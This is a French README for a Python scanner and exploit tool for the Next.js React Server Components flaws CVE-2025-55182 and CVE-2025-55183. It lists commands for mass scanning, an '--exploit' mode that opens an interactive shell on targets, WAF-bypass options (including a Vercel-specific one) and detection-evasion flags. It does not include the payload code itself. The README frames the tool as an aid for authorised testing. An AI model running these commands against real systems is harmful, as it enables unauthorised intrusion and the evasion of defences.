Scanner CVE-2025-55182

Ce dépôt contient un outil de scan pour CVE-2025-55182 (RCE) et CVE-2025-55183 (Divulgation de code source) dans les composants serveur React (RSC) de Next.js.

⚠️ Avertissement

Cet outil est destiné uniquement à des fins éducatives et de tests autorisés. N'utilisez pas cet outil sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Les auteurs ne sont pas responsables d'une mauvaise utilisation.

• Désolé pour le retard, une autre vulnérabilité a été rencontrée pour analyse, merci d'avoir signalé votre problème.
• Je recherche actuellement des vulnérabilités divulguées par Vercel sur HackerOne. Si quelqu'un est intéressé à rejoindre, vous pouvez ouvrir une issue ou consulter VERCEL_RESEARCH.md pour les recherches en cours et la collaboration.

Analyse

Pour une analyse technique détaillée, veuillez vous référer à : https://react2shell.com/

Prérequis

• Python 3.x : Requis pour exécuter le scanner.
• Dépendances : Installez via pip :
  root@kitploit:~

  pip3 install -r requirements.txt
  

Utilisation

Analyse de base

Vérifiez si une URL cible est vulnérable.

python3 CVE-2025-55182.py -u <url>

Analyser plusieurs cibles

Scannez une liste d'hôtes à partir d'un fichier (un par ligne).

python3 CVE-2025-55182.py -l <hosts_file>

Shell interactif (mode exploitation)

Obtenez un shell interactif sur une cible vulnérable.

python3 CVE-2025-55182.py -u <url> --exploit

Vérification de divulgation de code source (CVE-2025-55183)

Vérifiez si une cible divulgue du code source via les Server Actions.

python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure

Options avancées

Vérification sécurisée

Utilisez la détection par canal auxiliaire (basée sur le timing/les erreurs) au lieu de tenter une RCE.

python3 CVE-2025-55182.py -u <url> --safe-check

Contournement WAF

Ajoutez des données factices pour contourner l'inspection du contenu du WAF ou utilisez des contournements spécifiques.

# Standard WAF bypass (junk data)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128

# Vercel WAF bypass variant
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass

En-têtes personnalisés et proxy

# Custom headers
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"

# Proxy usage
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080

Évitement et spécificité

# Random User-Agent and Delay
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0

# Scan specific path
python3 CVE-2025-55182.py -u <url> --path /_next --path /api

Options de sortie

Enregistrez les résultats dans un fichier au format JSON, CSV ou HTML. Le drapeau --all-results enregistre à la fois les hôtes vulnérables et non vulnérables.

python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results

Tous les arguments

Support Docker

Vous pouvez exécuter une instance vulnérable pour les tests en utilisant l'image Docker fournie :

docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local

🔬 Recherche et collaboration

Intéressé par la recherche sur la sécurité de Vercel ? Consultez notre document de recherche collaborative :

📄 VERCEL_RESEARCH.md - Un guide complet pour :

• Analyser les vulnérabilités Vercel divulguées sur HackerOne
• Comprendre les techniques de contournement WAF
• Contribuer des découvertes et des recherches
• Collaborer avec la communauté de la sécurité

Ouvrez une issue avec le label research pour rejoindre la discussion !